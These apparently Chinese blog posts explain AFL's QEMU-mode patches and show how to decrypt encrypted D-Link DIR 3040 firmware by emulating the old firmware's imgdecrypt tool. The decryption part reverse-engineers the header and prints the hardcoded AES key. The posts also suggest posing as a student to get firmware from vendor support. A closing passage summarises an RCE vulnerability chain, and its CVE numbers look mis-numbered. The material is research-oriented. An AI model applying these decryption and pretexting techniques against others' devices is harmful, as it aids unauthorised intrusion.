if [ ! -d "/usr/include/glib-2.0/" -a ! -d "/usr/local/include/glib-2.0/" ]; then

echo "[-] Error: devel version of 'glib2' not found, please install first."
exit 1

fi

if echo "$CC" | grep -qF /afl-; then

echo "[-] Error: do not use afl-gcc or afl-clang to compile this tool."
exit 1

fi

echo "[+] All checks passed!"

ARCHIVE="`basename -- "$QEMU_URL"`"

CKSUM=`sha384sum -- "$ARCHIVE" 2>/dev/null | cut -d' ' -f1`

if [ ! "$CKSUM" = "$QEMU_SHA384" ]; then

echo "[*] Downloading QEMU ${VERSION} from the web..."
rm -f "$ARCHIVE"
wget -O "$ARCHIVE" -- "$QEMU_URL" || exit 1

CKSUM=`sha384sum -- "$ARCHIVE" 2>/dev/null | cut -d' ' -f1`

fi

if [ "$CKSUM" = "$QEMU_SHA384" ]; then

echo "[+] Cryptographic signature on $ARCHIVE checks out."

else

echo "[-] Error: signature mismatch on $ARCHIVE (perhaps download error?)."
exit 1

fi

echo "[*] Uncompressing archive (this will take a while)..."

rm -rf "qemu-${VERSION}" || exit 1
tar xf "$ARCHIVE" || exit 1

echo "[+] Unpacking successful."
# 根据脚本执行的环境变量CPU_TARGET编译对应架构的QEMU
echo "[*] Configuring QEMU for $CPU_TARGET..."

ORIG_CPU_TARGET="$CPU_TARGET"

test "$CPU_TARGET" = "" && CPU_TARGET="`uname -m`"
test "$CPU_TARGET" = "i686" && CPU_TARGET="i386"

cd qemu-$VERSION || exit 1
# 对QEMU源码进行patch
echo "[*] Applying patches..."

patch -p1 <../patches/elfload.diff || exit 1
patch -p1 <../patches/cpu-exec.diff || exit 1
patch -p1 <../patches/syscall.diff || exit 1
patch -p1 <../patches/configure.diff || exit 1
patch -p1 <../patches/memfd.diff || exit 1

echo "[+] Patching done."

# --enable-pie seems to give a couple of exec's a second performance
# improvement, much to my surprise. Not sure how universal this is..

CFLAGS="-O3 -ggdb" ./configure --disable-system \
--enable-linux-user --disable-gtk --disable-sdl --disable-vnc \
--target-list="${CPU_TARGET}-linux-user" --enable-pie --enable-kvm || exit 1

echo "[+] Configuration complete."

echo "[*] Attempting to build QEMU (fingers crossed!)..."

make || exit 1

echo "[+] Build process successful!"

echo "[*] Copying binary..."
# 将编译出来的qemu可执行文件复制为afl-qemu-trace
cp -f "${CPU_TARGET}-linux-user/qemu-${CPU_TARGET}" "../../afl-qemu-trace" || exit 1

cd ..
ls -l ../afl-qemu-trace || exit 1

echo "[+] Successfully created '../afl-qemu-trace'."

if [ "$ORIG_CPU_TARGET" = "" ]; then

echo "[*] Testing the build..."

cd ..

make >/dev/null || exit 1

gcc test-instr.c -o test-instr || exit 1

unset AFL_INST_RATIO

# We shouldn't need the /dev/null hack because program isn't compiled with any
# optimizations.
echo 0 | ./afl-showmap -m none -Q -q -o .test-instr0 ./test-instr || exit 1
echo 1 | ./afl-showmap -m none -Q -q -o .test-instr1 ./test-instr || exit 1

rm -f test-instr

cmp -s .test-instr0 .test-instr1
DR="$?"

rm -f .test-instr0 .test-instr1

if [ "$DR" = "0" ]; then

echo "[-] Error: afl-qemu-trace instrumentation doesn't seem to work!"
exit 1

fi

echo "[+] Instrumentation tests passed. "
echo "[+] All set, you can now use the -Q mode in afl-fuzz!"

else

echo "[!] Note: can't test instrumentation when CPU_TARGET set."
echo "[+] All set, you can now (hopefully) use the -Q mode in afl-fuzz!"

fi

exit 0

可以看到编译脚本中是先下载指定 QEMU 版本的源码,进行一些检测,然后进行 patch。patch 是对 QEMU 的 ELF 装载、CPU 执行、系统调用、内存描述符等相关的代码进行了修改,以及对 configure 文件也进行修改。patch 完成之后进行 make,然后将编译完成的 qemu-${CPU_TARGET} 复制到 afl 的目录下,重命名为 afl-qemu-trace,在之后会从 afl-fuzz.c 简单说下 afl-qemu-trace 是如何进行调用的。这个地方说一下,如果要 fuzz 指定架构的二进制文件,那么需要在编译的时候指定编译 qemu 可执行文件针对的架构,例如编译 mips 的命令:CPU_TARGET=mips ./build_qemu_support.sh。然后就是在脚本中测试编译出来的 afl-qemu-trace 能否正常使用。

可见最为关键的地方是进行的几个 patch,patch 文件内容不多,下面来简单分析一下 diff 文件。

1
2
3
4
5
6
7
8
9
10
11
# kali @ kali in ~/Code/AFL/qemu_mode/patches [0:49:08] 
$ tree -L 1
.
├── afl-qemu-cpu-inl.h
├── configure.diff
├── cpu-exec.diff
├── elfload.diff
├── memfd.diff
└── syscall.diff

0 directories, 6 files

elfload.diff

如下是 elfload.diff 文件,新增了三个外部引用,在 QEMU 执行 ELF 文件解析的时候获取这些地址。

  • afl_entry_point:ELF 的入口点
  • afl_start_code:ELF 代码段的 start
  • afl_end_code:ELF 代码段的 end
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
--- qemu-2.10.0-rc3-clean/linux-user/elfload.c	2017-08-15 11:39:41.000000000 -0700
+++ qemu-2.10.0-rc3/linux-user/elfload.c 2017-08-22 14:33:57.397127516 -0700
@@ -20,6 +20,8 @@

#define ELF_OSABI ELFOSABI_SYSV

+extern abi_ulong afl_entry_point, afl_start_code, afl_end_code;
+
/* from personality.h */

/*
@@ -2085,6 +2087,8 @@
info->brk = 0;
info->elf_flags = ehdr->e_flags;

+ if (!afl_entry_point) afl_entry_point = info->entry;
+
for (i = 0; i < ehdr->e_phnum; i++) {
struct elf_phdr *eppnt = phdr + i;
if (eppnt->p_type == PT_LOAD) {
@@ -2118,9 +2122,11 @@
if (elf_prot & PROT_EXEC) {
if (vaddr < info->start_code) {
info->start_code = vaddr;
+ if (!afl_start_code) afl_start_code = vaddr;
}
if (vaddr_ef > info->end_code) {
info->end_code = vaddr_ef;
+ if (!afl_end_code) afl_end_code = vaddr_ef;
}
}
if (elf_prot & PROT_WRITE) {

cpu-exec.diff

如下是 cpu-exec.diff 文件,新增了一个头文件 afl-qemu-cpu-inl.h,在 CPU 执行 QEMU 翻译代码的前后位置分别加入了宏定义 AFL_QEMU_CPU_SNIPPET2 和 AFL_QEMU_CPU_SNIPPET1。TB(Translation Block)是 QEMU 进行指令翻译的基本单位。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
--- qemu-2.10.0-rc3-clean/accel/tcg/cpu-exec.c	2017-08-15 11:39:41.000000000 -0700
+++ qemu-2.10.0-rc3/accel/tcg/cpu-exec.c 2017-08-22 14:34:55.868730680 -0700
@@ -36,6 +36,8 @@
#include "sysemu/cpus.h"
#include "sysemu/replay.h"

+#include "../patches/afl-qemu-cpu-inl.h"
+
/* -icount align implementation. */

typedef struct SyncClocks {
@@ -144,6 +146,8 @@
int tb_exit;
uint8_t *tb_ptr = itb->tc_ptr;

+ AFL_QEMU_CPU_SNIPPET2;
+
qemu_log_mask_and_addr(CPU_LOG_EXEC, itb->pc,
"Trace %p [%d: " TARGET_FMT_lx "] %s\n",
itb->tc_ptr, cpu->cpu_index, itb->pc,
@@ -365,6 +369,7 @@
if (!tb) {
/* if no translated code available, then translate it now */
tb = tb_gen_code(cpu, pc, cs_base, flags, 0);
+ AFL_QEMU_CPU_SNIPPET1;
}

mmap_unlock();

如下是两个宏定义的源码,AFL_QEMU_CPU_SNIPPET1 是用来实现翻译的加速,AFL_QEMU_CPU_SNIPPET2 位于执行 TB 的函数,在待 fuzz 程序的入口处,进行 afl_setup,然后执行 afl_forkserver,其中有 fork 执行过程。对于覆盖率的计算则是常见的 afl_maybe_log 函数,在使用 afl-gcc 等编译的程序中也会在基本块插入 afl_maybe_log 函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
/* A snippet patched into tb_find_slow to inform the parent process that
we have hit a new block that hasn't been translated yet, and to tell
it to translate within its own context, too (this avoids translation
overhead in the next forked-off copy). */

#define AFL_QEMU_CPU_SNIPPET1 do { \
afl_request_tsl(pc, cs_base, flags); \
} while (0)

/* This snippet kicks in when the instruction pointer is positioned at
_start and does the usual forkserver stuff, not very different from
regular instrumentation injected via afl-as.h. */

#define AFL_QEMU_CPU_SNIPPET2 do { \
if(itb->pc == afl_entry_point) { \
afl_setup(); \
afl_forkserver(cpu); \
} \
afl_maybe_log(itb->pc); \
} while (0)

syscall.diff

如下是 syscall.diff,定义了全局变量 qemu.h,新增外部引用 afl_forksrv_pid,也就是 forkserver 的 pid,新增了对于 TARGET_NR_tgkill 的判定,具体的含义不是很懂,但应该和 target 的执行返回错误码有关。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
--- qemu-2.10.0-rc3-clean/linux-user/syscall.c	2017-08-15 11:39:41.000000000 -0700
+++ qemu-2.10.0-rc3/linux-user/syscall.c 2017-08-22 14:34:03.193088186 -0700
@@ -116,6 +116,8 @@

#include "qemu.h"

+extern unsigned int afl_forksrv_pid;
+
#ifndef CLONE_IO
#define CLONE_IO 0x80000000 /* Clone io context */
#endif
@@ -11688,8 +11690,21 @@
break;

case TARGET_NR_tgkill:
- ret = get_errno(safe_tgkill((int)arg1, (int)arg2,
- target_to_host_signal(arg3)));
+
+ {
+ int pid = (int)arg1,
+ tgid = (int)arg2,
+ sig = (int)arg3;
+
+ /* Not entirely sure if the below is correct for all architectures. */
+
+ if(afl_forksrv_pid && afl_forksrv_pid == pid && sig == SIGABRT)
+ pid = tgid = getpid();
+
+ ret = get_errno(safe_tgkill(pid, tgid, target_to_host_signal(sig)));
+
+ }
+
break;

#ifdef TARGET_NR_set_robust_list

综上所述,三个 patch 文件所作的工作就是在 qemu 代码翻译的阶段,在 QEMU 翻译基本块 TB 加入指令插桩代码,从 ELF 的入口开始执行,然后进行代码覆盖率和错误代码的相关计算。

afl-fuzz.c 中使用 qemu mode

假设已经简单阅读过 afl-fuzz.c 的源码,在 main 函数参数解析时,会判定 -Q 使用了 qemu mode。

1
2
3
4
5
6
7
8
case 'Q': /* QEMU mode */

if (qemu_mode) FATAL("Multiple -Q options not supported");
qemu_mode = 1;

if (!mem_limit_given) mem_limit = MEM_LIMIT_QEMU;

break;

如果是使用了 qemu mode,会根据 afl-fuzz 的命令参数构造 qemu 的启动参数。在 get_qemu_argv 函数中,主要执行的工作就是为 QEMU 设置相关环境变量,搜索 afl-qemu-trace 程序,构造 afl-qemu-trace 启动的命令参数,也就是将 target_path 修改为如何使用 afl-qemu-trace 执行待 fuzz 程序。

1
2
3
4
if (qemu_mode)
use_argv = get_qemu_argv(argv[0], argv + optind, argc - optind);
else
use_argv = argv + optind;

那么最终 qemu 模式是如何启动起来的,我根据源码的理解大概是,在 afl-fuzz.c 的 main 函数,在最后的循环中,调用 fuzz_one -> calibrate_case -> init_forkserver -> execv

1
2
3
4
5
6
static u8 fuzz_one(char** argv);
static u8 calibrate_case(char** argv, struct queue_entry* q, u8* use_mem, u32 handicap, u8 from_queue);
EXP_ST void init_forkserver(char** argv);
...
execv(target_path, argv);
...

在 init_forkserver 函数中,有将变异数据的文件描述符和待 fuzz 程序的标准输入绑定的过程。当使用 execv 执行 afl-qemu-trace,此时 patch 了的 afl-qemu-trace 会在 ELF 的入口处执行 afl_setup() 函数和 afl_forkserver() 函数,进行真正的待 fuzz 程序的执行。

小结

这篇文章先简单介绍了 QEMU 执行用户级程序的基本流程,然后通过分析 afl qemu mode 的编译脚本和 diff 文件,简单说明了在 afl 中使用 qemu fuzz 闭源程序的基本流程,然后分析 afl-fuzz.c 源码,简要说明 afl-fuzz 是如何将进行一个变异数据送到待 fuzz 程序中去执行。

如果有问题,或者看到这篇文章的师傅有其他的见解讨论,请联系我,谢谢!

这里有一个简单的对于 AFL qemu mode 的使用,参见使用afl对无源码程序进行fuzz

加密固件之依据老固件进行解密

IoT漏洞分析最为重要的环节之一就是获取固件以及固件中的文件系统。固件获取的方式也五花八门,硬核派有直接将flash拆下来到编程器读取,通过硬件调试器UART/SPI、JTAG/SWD获取到控制台访问;网络派有中间人攻击拦截OTA升级,从制造商的网页进行下载;社工派有假装研究者(学生)直接向客服索要,上某鱼进行PY。有时候千辛万苦获取到固件了,开开心心地使用binwalk -Me一把梭哈,却发现,固件被加密了,惊不惊喜,刺不刺激。

如下就是针对如何对加密固件进行解密的其中一个方法:回溯未加密的老固件,从中找到负责对固件进行解密的程序,然后解密最新的加密固件。此处做示范使用的设备是前几天爆出存在漏洞的路由器D-Link DIR 3040 US,固件使用的最新加密版本1.13B03,老固件使用的是已经解密固件版本1.13B02

判断固件是否已经被加密

一般从官网下载到固件的时候,是先以zip等格式进行了一次压缩的,通常可以先正常解压一波。

1
2
3
4
5
$ tree -L 1
.
├── DIR3040A1_FW112B01_middle.bin
├── DIR3040A1_FW113B03.bin
└── DIR-3040_REVA_RELEASE_NOTES_v1.13B03.pdf

使用binwalk查看一下固件的信息,如果是未加密的固件,通常可以扫描出来使用了何种压缩算法。以常见的嵌入式文件系统squash-fs为例,比较常见的有LZMA、LZO、LAMA2这些。如下是使用binwalk分别查看一个未加密固件(netgear)和加密固件(DIR 3040)信息。

1
2
3
4
5
6
$ binwalk GS108Tv3_GS110TPv3_GS110TPP_V7.0.6.3.bix 

DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
64 0x40 LZMA compressed data, properties: 0x5D, dictionary size: 67108864 bytes, uncompressed size: -1 bytes

1
2
3
4
5
6
$ binwalk DIR3040A1_FW113B03.bin 

DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------


还有一种方式就是查看固件的熵值。熵值是用来衡量不确定性,熵值越大则说明固件越有可能被加密或者压缩了。这个地方说的是被加密或者压缩了,被压缩的情况也是会让熵值变高或者接近1的,如下是使用binwalk -E查看一个未加密固件(RAX200)和加密固件(DIR 3040)。可以看到,RAX200和DIR 3040相对比,不像后者那样直接全部是接近1了。

undifined

undifined

找到负责解密的可执行文件

接下来是进入正轨了。首先是寻找到老固件中负责解密的可执行文件。基本逻辑是先从HTML文件中找到显示升级的页面,然后在服务器程序例如此处使用的是lighttpd中去找到何处进行了调用可执行文件下载新固件、解密新固件,这一步也可能是发生在调用的CGI中。

使用find命令定位和升级相关的页面。

1
2
3
4
5
6
$ find . -name "*htm*" | grep -i "firmware"
./etc_ro/lighttpd/www/web/MobileUpdateFirmware.html
./etc_ro/lighttpd/www/web/UpdateFirmware.html
./etc_ro/lighttpd/www/web/UpdateFirmware_e.html
./etc_ro/lighttpd/www/web/UpdateFirmware_Multi.html
./etc_ro/lighttpd/www/web/UpdateFirmware_Simple.html

然后现在后端lighttpd中去找相关字符串,似乎没有结果呢,那么猜测可能发生在CGI中。

1
2
$ find . -name "*httpd*" | xargs strings | grep "firm"
strings: Warning: './etc_ro/lighttpd' is a directory

从CGI程序中查找,似乎运气不错,,,直接就定位到了,结果过多就只展示了最有可能的结果。Bingo!似乎已经得到了解密固件的程序,img、decrypt。

1
2
$ find . -name "*cgi*" | xargs strings | grep -i "firm"
/bin/imgdecrypt /tmp/firmware.img

仿真并解密固件

拿到了解密程序,也知道解密程序是怎么输入参数运行的,这个时候可以尝试对直接使用qemu模拟解密程序跑起来,直接对固件进行解密。最好保持解密可执行文件在老版本固件文件系统的位置不变,因为不确定是否使用相对或者绝对路径引用了什么文件,例如解密公私钥。

先查看可执行文件的运行架构,然后选择对应qemu进行模拟。

1
2
3
4
5
6
$ file bin/imgdecrypt
bin/imgdecrypt: ELF 32-bit LSB executable, MIPS, MIPS32 rel2 version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped
$ cp $(which qemu-mipsel-static) ./usr/bin
$ sudo mount -t proc /proc proc/
$ sudo mount --rbind /sys sys/
$ sudo mount --rbind /dev/ dev/
1
2
3
4
5
6
7
8
9
10
11
$ sudo chroot . qemu-mipsel-static /bin/sh


BusyBox v1.22.1 (2020-05-09 10:44:01 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.

/ # /bin/imgdecrypt tmp/DIR3040A1_FW113B03.bin
key:C05FBF1936C99429CE2A0781F08D6AD8
/ # ls -a tmp/
.. .firmware.orig . DIR3040A1_FW113B03.bin
/ #

那么就解压出来了,解压到了tmp文件夹中,.firmware.orig文件。这个时候使用binwalk再次进行查看,可以看到已经被成功解密了。

1
2
3
4
5
6
7
8
$ binwalk .firmware.orig

DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 uImage header, header size: 64 bytes, header CRC: 0x7EA490A0, created: 2020-08-14 10:42:39, image size: 17648005 bytes, Data Address: 0x81001000, Entry Point: 0x81637600, data CRC: 0xAEF2B79F, OS: Linux, CPU: MIPS, image type: OS Kernel Image, compression type: lzma, image name: "Linux Kernel Image"
160 0xA0 LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 23083456 bytes
1810550 0x1BA076 PGP RSA encrypted session key - keyid: 12A6E329 67B9887A RSA (Encrypt or Sign) 1024b
14275307 0xD9D2EB Cisco IOS microcode, for "z"

加解密逻辑分析(重点)

关于固件安全开发到发布的一般流程

如果要考虑到固件的安全性,需要解决的一些痛点基本上是:

  • 机密性:通过类似官网的公开渠道获取到解密后的固件
  • 完整性:攻击者劫持升级渠道,或者直接将修改后的固件上传到设备,使固件升级

对于机密性,从固件的源头、传输渠道到设备三个点来分析。首先在源头,官网上或者官方TFP可以提供已经被加密的固件,设备自动或手动检查更新并从源头下载,下载到设备上后进行解密。其次是渠道,可以采用类似于HTTPS的加密传输方式来对固件进行传输。但是前面两种方式终归是要将固件下载到设备中。

如果是进行简单的加密,很常见的一种方式,尤其是对于一些低端嵌入式固件,通常使用了硬编码的对称加密方式,例如AES、DES之类的,还可以基于硬编码的字符串进行一些数据计算,然后作为解密密钥。这次分析的DIR 3040就是采用的这种方式。

对于完整性,开发者在一开始可以通过基于自签名证书来实现对固件完整性的校验。开发者使用私钥对固件进行签名,并把签名附加到固件中。设备在接受安装时使用提前预装的公钥进行验证,如果检测到设备完整性受损,那么就拒绝固件升级。签名的流程一般不直接对固件本身的内容进行签名,首先计算固件的HASH值,然后开发者使用私钥对固件HASH进行签名,将签名附加到固件中。设备在出厂时文件系统中就被预装了公钥,升级通过公钥验证签名是否正确。

undifined

加解密逻辑分析

既然到这个地方了,那么顺便进去看一看解密程序是如何进行运作的。从IDA的符号表中可以看到,使用到了对称加密AES、非对称加密RSA和哈希SHA512,是不是对比上面提到的固件安全开发到发布的流程,心中大概有个数了。

首先我们进入main函数,可以知道,这个解密程序imgdecrypt实际上也是具有加密功能的。这里提一下,因为想要把整个解密固件的逻辑都撸一撸,可能会在文章里面贴出很多的具体函数分析,那么文章篇幅就会有点长,不过最后会进行一个流程的小总结,希望看的师傅不用觉得啰嗦。

1
2
3
4
5
6
7
8
9
10
int __cdecl main(int argc, const char **argv, const char **envp)
{
int result; // $v0

if ( strstr(*argv, "decrypt", envp) )
result = decrypt_firmare(argc, (int)argv);
else
result = encrypt_firmare(argc, argv);
return result;
}

下一步继续进入到函数decrypt_firmare中,这个地方结合之前仿真可以知道:argc=2,argv=参数字符串地址。首先是进行一些参数的初始化,例如aes_key、公钥的存储地址pubkey_loc。

接下来是对输入参数数量和参数字符串的判定,输入参数数量从2开始判定,结合之前的仿真,那么argc=2,第一个是程序名,第二个是已加密固件地址。

然后在004021AC地址处的函数check_rsa_cert,该函数内部逻辑也非常简单,基本就是调用RSA相关的库函数,读取公钥并判定公钥是否有效,有效则将读取到的RSA对象保存在dword_413220。检查成功后,就进入到004025A4地址处的函数aes_cbc_crypt中。这个函数的主要作用就是根据一个固定字符串0123456789ABCDEF生成密钥,是根据硬编码生成的解密密钥,因此每次生成并打印出来的密钥是相同的,此处密钥用变量aes_key表示。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
int __fastcall decrypt_firmare(int argc, int argv)
{
int result; // $v0
const char *pubkey_loc; // [sp+18h] [-1Ch]
int i; // [sp+1Ch] [-18h]
int aes_key[5]; // [sp+20h] [-14h] BYREF

qmemcpy(aes_key, "0123456789ABCDEF", 16);
pubkey_loc = "/etc_ro/public.pem";
i = -1;
if ( argc >= 2 )
{
if ( argc >= 3 )
pubkey_loc = *(const char **)(argv + 8);
if ( check_rsa_cert((int)pubkey_loc, 0) ) // 读取公钥并进行保存RSA对象到dword_413220中
{
result = -1;
}
else
{
aes_cbc_crypt((int)aes_key); // 生成aes_key
printf("key:");
for ( i = 0; i < 16; ++i )
printf("%02X", *((unsigned __int8 *)aes_key + i));// 打印出key
puts("\r");
i = actual_decrypt(*(_DWORD *)(argv + 4), (int)"/tmp/.firmware.orig", (int)aes_key);
if ( !i )
{
unlink(*(_DWORD *)(argv + 4));
rename("/tmp/.firmware.orig", *(_DWORD *)(argv + 4));
}
RSA_free(dword_413220);
result = i;
}
}
else
{
printf("%s <sourceFile>\r\n", *(const char **)argv);
result = -1;
}
return result;
}

接下来就是真正的负责解密和验证固件的函数actual_decrypt,位于地址00401770处。在分析这个函数的时候,我发现IDA的MIPS32在反编译处理函数的输入参数的时候,似乎会把数值给弄错了,,,比如fun(a + 10),可能会反编译成fun(a + 12)。已经修正过函数参数数值的反编译代码就放在下面,代码分析也全部直接放在注释中了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
int __fastcall actual_decrypt(int img_loc, int out_image_loc, int aes_key)
{
int image_fp; // [sp+20h] [-108h]
int v5; // [sp+24h] [-104h]
_DWORD *MEM; // [sp+28h] [-100h]
int OUT_MEM; // [sp+2Ch] [-FCh]
int file_blocks; // [sp+30h] [-F8h]
int v9; // [sp+34h] [-F4h]
int i; // [sp+38h] [-F0h]
int out_image_fp; // [sp+3Ch] [-ECh]
int data1_len; // [sp+40h] [-E8h]
int data2_len; // [sp+44h] [-E4h]
_DWORD *IN_MEM; // [sp+48h] [-E0h]
char hash_buf[68]; // [sp+4Ch] [-DCh] BYREF
int image_info[38]; // [sp+90h] [-98h] BYREF

image_fp = -1;
out_image_fp = -1;
v5 = -1;
MEM = 0;
OUT_MEM = 0;
file_blocks = -1;
v9 = -1;
// 这个hashbuf用于存储SHA512的计算结果,在后面比较会一直被使用到
memset(hash_buf, 0, 64);
data1_len = 0;
data2_len = 0;
memset(image_info, 0, sizeof(image_info));
IN_MEM = 0;
// 通过stat函数读取加密固件的相关信息写入结构体到image_info,最重要的是文件大小
if ( !stat(img_loc, image_info) )
{
// 获取文件大小
file_blocks = image_info[13];
// 以只读打开加密固件
image_fp = open(img_loc, 0);
if ( image_fp >= 0 )
{
// 将加密固件映射到内存中
MEM = (_DWORD *)mmap(0, file_blocks, 1, 1, image_fp, 0);
if ( MEM )
{
// 以O_RDWR | O_NOCTTY获得解密后固件应该存放的文件描述符
out_image_fp = open(out_image_loc, 258);
if ( out_image_fp >= 0 )
{
v9 = file_blocks;
// 比较写入到内存的大小和固件的真实大小是否相同
if ( file_blocks - 1 == lseek(out_image_fp, file_blocks - 1, 0) )
{
write(out_image_fp, &unk_402EDC, 1);
close(out_image_fp);
out_image_fp = open(out_image_loc, 258);
// 以加密固件的文件大小,将待解密的固件映射到内存中,返回内存地址OUT_MEM
OUT_MEM = mmap(0, v9, 3, 1, out_image_fp, 0);
if ( OUT_MEM )
{
IN_MEM = MEM; // 重新赋值指针
// 检查固件的Magic,通过查看HEX可以看到加密固件的开头有SHRS魔数
if ( check_magic((int)MEM) ) // 比较读取到的固件信息中含有SHRS
{
// 获得解密后固件的大小
data1_len = htonl(IN_MEM[2]);
data2_len = htonl(IN_MEM[1]);
// 从加密固件的1756地址起,计算data1_len个字节的SHA512,也就是解密后固件大小的消息摘要,并保存到hash_buf
sub_400C84((int)(IN_MEM + 0x6dc), data1_len, (int)hash_buf);
// 比较原始固件从156地址起,64个字节大小,和hash_buf中的值进行比较,也就是和加密固件头中预保存的真实加密固件大小的消息摘要比较
if ( !memcmp(hash_buf, IN_MEM + 0x9c, 64) )
{
// AES对加密固件进行解密,并输出到OUT_MEM中
// 这个地方也可以看出从加密固件的1756地址起就是真正被加密的固件数据,前面都是一些头部信息
// 函数逻辑比较简单,就是AES加解密相关,从保存在固件头IN_MEM + 0xc获取解密密钥
sub_40107C((int)(IN_MEM + 0x6dc), data1_len, aes_key, IN_MEM + 0xc, OUT_MEM);
// 计算解密后固件的SHA_512消息摘要
sub_400C84(OUT_MEM, data2_len, (int)hash_buf);
// 和存储在原始加密固件头,从92地址开始、64字节的SHA512进行比较
if ( !memcmp(hash_buf, IN_MEM + 0x5c, 64) )
{
// 获取解密固件+aes_key的SHA512
sub_400D24(OUT_MEM, data2_len, aes_key, (int)hash_buf);
// 和存储在原始固件头,从28地址开始、64字节的SHA512进行比较
if ( !memcmp(hash_buf, IN_MEM + 0x1c, 64) )
{
// 使用当前文件系统内的公钥,通过RSA验证消息摘要和签名是否匹配
if ( sub_400E78((int)(IN_MEM + 0x5c), 64, (int)(IN_MEM + 0x2dc), 0x200) == 1 )
{
if ( sub_400E78((int)(IN_MEM + 0x9c), 64, (int)(IN_MEM + 0x4dc), 0x200) == 1 )
v5 = 0;
else
v5 = -1;
}
else
{
v5 = -1;
}
}
else
{
puts("check sha512 vendor failed\r");
}
}
else
{
printf("check sha512 before failed %d %d\r\n", data2_len, data1_len);
for ( i = 0; i < 64; ++i )
printf("%02X", (unsigned __int8)hash_buf[i]);
puts("\r");
for ( i = 0; i < 64; ++i )
printf("%02X", *((unsigned __int8 *)IN_MEM + i + 92));
puts("\r");
}
}
else
{
puts("check sha512 post failed\r");
}
}
else
{
puts("no image matic found\r");
}
}
}
}
}
}
}
if ( MEM )
munmap(MEM, file_blocks);
if ( OUT_MEM )
munmap(OUT_MEM, v9);
if ( image_fp >= 0 )
close(image_fp);
if ( image_fp >= 0 )
close(image_fp);
return v5;
}

概述DIR 3040的固件组成以及解密验证逻辑

从上面最关键的解密函数逻辑分析中,可以知道如果仅仅是解密相关,实际上只用到了AES解密,而且还是使用的硬编码密钥(通过了一些计算)。只是看上面的解密+验证逻辑分析,对整个流程可能还是会有点混乱,下面就说一下加密固件的文件结构和总结一下上面的解密+验证逻辑。

先直接给出加密固件文件结构的结论,只展现出重要的Header内容,大小1756字节,其后全部是真正的被加密固件数据。

起始地址 长度(Bytes) 作用
0:0x00 4 魔数:SHRS
4:0x4 4 解密固件的大小,带填充
8:0x8 4 解密固件的大小,不带填充
12:0xC 16 AES_128_CBC解密密钥
28:0x1C 64 解密后固件+KEY的SHA512消息摘要
92:0x5C 64 解密后固件的SHA512消息摘要
156:0x9C 64 加密固件的SHA512消息摘要
220:0xDC 512 未使用
732:0x2DC 512 解密后固件消息摘要的数字签名
1244:0x4DC 512 加密后固件消息摘要的数字签名

结合上面的加密固件文件结构,再次概述一下解密逻辑:

  1. 判断加密固件是否以Magic Number:SHRS开始。

  2. 判断(加密固件中存放的,真正被加密的固件数据大小的SHA512消息摘要),和,(去除Header之后,数据的SHA512消息摘要)。

    这一步是通过验证固件的文件大小,判定是否有人篡改过固件,如果被篡改,解密失败。

  3. 读取保存在Header中的AES解密密钥,对加密固件数据进行解密

  4. 计算(解密后固件数据的SHA512消息摘要),和(预先保存在Header中的、解密后固件SHA512消息摘要)进行对比

  5. 计算(解密固件数据+解密密钥的、SHA512消息摘要),和(预先保存在Header中的、解密后固件数据+解密密钥的、SHA512消息摘要)进行对比

  6. 使用保存在当前文件系统中的RSA公钥,验证解密后固件的消息摘要和其签名是否匹配

  7. 使用保存在当前文件系统中的RSA公钥,验证加密后固件的消息摘要和其签名是否匹配

小结

这篇文章主要是以DIR 3040固件为例,说明如何从未加密的老固件中去寻找负责解密的可执行文件,用于解密新版的加密固件。先说明拿到一个固件后如何判断已经被加密,然后说明如何去找到负责解密的可执行文件,再通过qemu仿真去执行解密程序,将固件解密,最后简单说了下固件完整性相关的知识,并重点分析了解密程序的解密+验证逻辑。

这次对于DIR 3040的漏洞分析和固件解密验证过程分析还是花费了不少的时间。首先是固件的获取,从官网下载到的固件是加密的,然后看到一篇文章简单说了下基于未加密固件版本对加密固件进行解密,也是DIR 3040相关的。但是我在官网上没有找到未加密的固件,全部是被加密的固件。又在信息搜集的过程中,发现了原来在Github上有一个比较通用的、针对D-Link系列的固件解密脚本。原来,Dlink近两年使用的加密、验证程序imgdecrypt基本上都是一个套路,于是我参考了解密脚本开发者在2020年的分析思路,结合之前看过的关于可信计算相关的一些知识点,简单叙述了固件安全性,然后重点分析了解密验证逻辑如上。

关于漏洞分析,感兴趣的师傅可以看一下我的这篇分析文章

参考链接

D-Link DIR 3040从信息泄露到RCE

7月中旬,Cisco Talos安全研究员Dave MacDaniel公布了D-Link DIR 3040(固件版本1.13B03)的多个CVE漏洞的具体利用细节,这些漏洞环环相扣,从硬编码密码导致的信息泄露一步步到无需认证的RCE,具体的漏洞编号和漏洞描述如下:

  • CVE-2021-12817:Zebra服务因读取任意文件设置登录banner导致的敏感信息泄露
  • CVE-2021-12818:Zebra服务使用硬编码密码zebra
  • CVE-2021-12819:可通过访问https:///start_telnet开启telnet,并使用管理员密码登录,其中提供的功能例如ping存在命令注入

